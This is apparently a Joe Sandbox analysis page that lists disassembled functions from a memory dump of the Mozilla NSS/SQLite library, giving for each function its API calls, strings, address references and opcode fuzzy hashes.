Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 82ef0bcd191dafc09cb618585b1ff478d975bbc9c78265d1375234c8088634d8
Instruction ID: 0e3a765fc3229e950c73e37cf2212e5de1611e76fc04cc752f63ed90f196352d
Opcode Fuzzy Hash: 82ef0bcd191dafc09cb618585b1ff478d975bbc9c78265d1375234c8088634d8
Instruction Fuzzy Hash: BB1106B5B012109FDF60EF69D809B023BF5BB8B35AB14807AD51EC7720E731A425CBA5

Function 6C6F7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C6F7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F7C83
malloc.MOZGLUE(00000001), ref: 6C6F7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6F7C9F
PR_GetCurrentThread.NSS3 ref: 6C6F7CAD

Part of subcall function 6C6A9BF0: TlsGetValue.KERNEL32(?,?,?,6C6F0A75), ref: 6C6A9C07

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 995c5e3390eafe03ac2de905c47ee17e50654af0df891a3d94e45a05d1f8f108
Instruction ID: b9f422bfdc5d3915a0ce401fbced22dcd53ac828a1180c0b752edb7be37f3b3d
Opcode Fuzzy Hash: 995c5e3390eafe03ac2de905c47ee17e50654af0df891a3d94e45a05d1f8f108
Instruction Fuzzy Hash: 52F0C2B19102166FEB009F7A9C099477B58EF01369B118535E81DC3B00E731E516CAED

Function 6C6FADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C6FA6D8), ref: 6C6FAE0D
free.MOZGLUE(?), ref: 6C6FAE14
DeleteCriticalSection.KERNEL32(6C6FA6D8), ref: 6C6FAE36
free.MOZGLUE(?), ref: 6C6FAE3D
free.MOZGLUE(00000000,00000000,?,?,6C6FA6D8), ref: 6C6FAE47

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: ab967dfaa95a2fb7ea8b60795d619407aba0df64359566ba7d06e75588d80e5a
Instruction ID: 43d906bed58f516e14c66732f1a972dbad904d3293351e058a57d20fae126f7c
Opcode Fuzzy Hash: ab967dfaa95a2fb7ea8b60795d619407aba0df64359566ba7d06e75588d80e5a
Instruction Fuzzy Hash: F0F06276201A15ABCA209F6898089577778BE867767140338E53E83941D731E116D7D5

Function 6C669850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 233COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,?,?), ref: 6C669AE4

Strings

0@ql, xrefs: 6C6698B3
`@ql, xrefs: 6C66991B, 6C669A23, 6C669A15
(, xrefs: 6C6699BF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Error
String ID: ($0@ql$`@ql
API String ID: 2619118453-775355542
Opcode ID: 082b8f8442f9d502bd2c272efae7057d7e0e4dff3198af26e7ef3666de0f2ca4
Instruction ID: 5b9ea7116d219c631d1ba120539b31546fc0b54873b4d622145195a513ca63ee
Opcode Fuzzy Hash: 082b8f8442f9d502bd2c272efae7057d7e0e4dff3198af26e7ef3666de0f2ca4
Instruction Fuzzy Hash: A1910335A04219DBDF10DF66C841BEDBBB1BF4530CF288129EC456BE41D3319985CB9A

Function 6C57BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C71AAF9,?), ref: 6C57BE37

Strings

winFileSize, xrefs: 6C57BF07
Pol, xrefs: 6C57BED4
ol, xrefs: 6C57BDD7

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: ol$Pol$winFileSize
API String ID: 4246442610-2248049792
Opcode ID: 0e94564e6eced74d8de785c4a5e11d8834edac5e4d99d3723e6f2583fcc38133
Instruction ID: 56b1c1c3133f62a2ac5c7c9fb626e2f0256266ae30410617c9f6b431534a976c
Opcode Fuzzy Hash: 0e94564e6eced74d8de785c4a5e11d8834edac5e4d99d3723e6f2583fcc38133
Instruction Fuzzy Hash: 3961B031A04605DFDB24DF28C994BAAB7B1FF8A314B144AA5D8198BB40D730EC95CFE1

Function 6C587C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C587D35

Strings

%s at line %d of [%.10s], xrefs: 6C587D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C587D13, 6C587D1F, 6C587D47, 6C587D53, 6C587D5F
database corruption, xrefs: 6C587D29

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: bc891b765fe2c2b36eab829de4c6a9402007c6b4825a51caa0e80776a9549526
Instruction ID: 54a06fcbd9b14c07d7c72331420f077049f5029f6d0032e099187aaec10dc548
Opcode Fuzzy Hash: bc891b765fe2c2b36eab829de4c6a9402007c6b4825a51caa0e80776a9549526
Instruction Fuzzy Hash: FF311471F0623997C710CF9DCD809BAB7E1AF88345B590596F448B7B81D274E941C7B0

Function 6C576C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C576D36

Strings

%s at line %d of [%.10s], xrefs: 6C576D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C576D20
database corruption, xrefs: 6C576D2A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 210e6723cbe8a6db0e2df9c1be38084ca8ed17009f32c594dabf93d60df26ddb
Instruction ID: c9de6c4bd77aca9ddbf7aaf9d918c001f076bd0af61a2fd73fb5874990da4edb
Opcode Fuzzy Hash: 210e6723cbe8a6db0e2df9c1be38084ca8ed17009f32c594dabf93d60df26ddb
Instruction Fuzzy Hash: CD21E2706143059BC720CE1ACE41B5AB7E6AF84308F144928D8499BF51EB71F98487A1

Function 6C652FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+el,6C6532C2,<+el,00000000,00000000,?), ref: 6C652FDA

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C65300B

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C65302A

Part of subcall function 6C640840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6408B4

Part of subcall function 6C62C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C62C45D
Part of subcall function 6C62C3D0: TlsGetValue.KERNEL32 ref: 6C62C494
Part of subcall function 6C62C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C62C4A9
Part of subcall function 6C62C3D0: PR_Unlock.NSS3(?), ref: 6C62C4F4

Strings

<+el, xrefs: 6C652FD0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+el
API String ID: 2538134263-4079977365
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 208f9e1bd641fd21056d508bd3f32a8c48aed06a46bce57257f30bcd702c58f4
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 8511E7B6B002046BDB009E64DC00A9B77D99B85768F288134E91CDB781E772ED25C7E5

Function 6C6ACC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ACD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ACC7B), ref: 6C6ACD7A
Part of subcall function 6C6ACD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ACD8E
Part of subcall function 6C6ACD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ACDA5
Part of subcall function 6C6ACD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ACDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6ACCB5
memcpy.VCRUNTIME140(6C7414F4,6C7402AC,00000090), ref: 6C6ACCD3
memcpy.VCRUNTIME140(6C741588,6C7402AC,00000090), ref: 6C6ACD2B

Part of subcall function 6C5C9AC0: socket.WSOCK32(?,00000017,6C5C99BE), ref: 6C5C9AE6
Part of subcall function 6C5C9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5C99BE), ref: 6C5C9AFC

Part of subcall function 6C5D0590: closesocket.WSOCK32(6C5C9A8F,?,?,6C5C9A8F,00000000), ref: 6C5D0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6ACCB0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 4628eb8d670029743d4eb019f614ae44b1bfa1bb18a16bad370928cf20d8f2f2
Instruction ID: a0f5fb6ecfa708b2f54c9f2c29cc87fd1bc8d79e3926fc6102606587b1173786
Opcode Fuzzy Hash: 4628eb8d670029743d4eb019f614ae44b1bfa1bb18a16bad370928cf20d8f2f2
Instruction Fuzzy Hash: 211133B1A402409FDB00BF5DDC067827AB9939621CF14913BE526CBB41E771D8258BDA

Function 6C645820 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(]abl,FORTEZZA,00000008,?,00000000,?,?,6C62615D,?,00000000), ref: 6C645844
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,6C62615D,?,00000000), ref: 6C645865

Strings

FORTEZZA, xrefs: 6C64583E
]abl, xrefs: 6C645826, 6C645843

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: L_strncasecmpatoi
String ID: FORTEZZA$]abl
API String ID: 4019336161-2222489390
Opcode ID: 643cff0b6aed93d4177d0d03953a4aec573e75bffd31f42b9116c642f225acc5
Instruction ID: 2e8aa3e9dbd6a1bcfea27afd4a10a40de8258f4fd9ae2acb26efdde5750d51b6
Opcode Fuzzy Hash: 643cff0b6aed93d4177d0d03953a4aec573e75bffd31f42b9116c642f225acc5
Instruction Fuzzy Hash: 05017D729483B52EE7205E35C800752BFD89F0635CF18C13AD8D9C2901EB71E155C389

Function 6C5F8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C600715), ref: 6C5F8859
PR_NewLock.NSS3 ref: 6C5F8874

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C5F888D

Strings

NSS, xrefs: 6C5F8887

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: f53daa45087da4e9898e062dc6ea7e0d08eafc624afafed468e5ba82affa5179
Instruction ID: cddbcb1ccff2ef66d5322db88441e0aa513f5ce84277dd065fc96684dc325d20
Opcode Fuzzy Hash: f53daa45087da4e9898e062dc6ea7e0d08eafc624afafed468e5ba82affa5179
Instruction Fuzzy Hash: 32F0F672E4162033F314266A6C06B8634C85F5375EF044431E92CA3B82EB42D90A8AFB

Function 6C6AB860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6C69A4E2), ref: 6C6AB8C6

Strings

%s at line %d of [%.10s], xrefs: 6C6AB8BF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AB8B0
database corruption, xrefs: 6C6AB8BA

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 7acfbaa2d03064181a0285aa2f898c7237d02cd03788d960c54f99dc82bc6ed1
Instruction ID: 039005a0de7e176d3740d1550a852cee7de089a593e17a6bdb3380d4d3c5fc03
Opcode Fuzzy Hash: 7acfbaa2d03064181a0285aa2f898c7237d02cd03788d960c54f99dc82bc6ed1
Instruction Fuzzy Hash: 0D01F93294C190A9D3109B7A5E94D937FBD9F8631574B01C9FA445F7B3E212D901C3A5

Function 6C577F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5781DF
LeaveCriticalSection.KERNEL32(?), ref: 6C578239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C578255
sqlite3_free.NSS3(00000000), ref: 6C578260

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: f1f44627ac4692f8e1fb21ac5ebeb3df051085521f2989821951bdd6bc7af10a
Instruction ID: e186f26cf49f180a2f22e71a9a2b7d87f3881bbc9d312f4c8ea817633a5d7ed1
Opcode Fuzzy Hash: f1f44627ac4692f8e1fb21ac5ebeb3df051085521f2989821951bdd6bc7af10a
Instruction Fuzzy Hash: 44917171A01208CFDB14EFA0ED4C7ADB7B1FF0630AF24413AD41AAB650D7395995DBA2

Function 6C651D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C651D8F

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C651DA6

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C651E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C651ED0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 0abe8c0b3a83cc52aad979c8dc05c12f8b449656834d3cb801526516bf5a11d6
Instruction ID: 360d9dd1554871aee33325f3a90475f366b2010adedc5829027436b1409e3dd1
Opcode Fuzzy Hash: 0abe8c0b3a83cc52aad979c8dc05c12f8b449656834d3cb801526516bf5a11d6
Instruction Fuzzy Hash: 9D517875A00309CFDB04CF98D884BAEBBB6BF49308F648129E8199B750D731E956CB94

Function 6C6A4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5885D2,00000000,?,?), ref: 6C6A4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A50D6

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
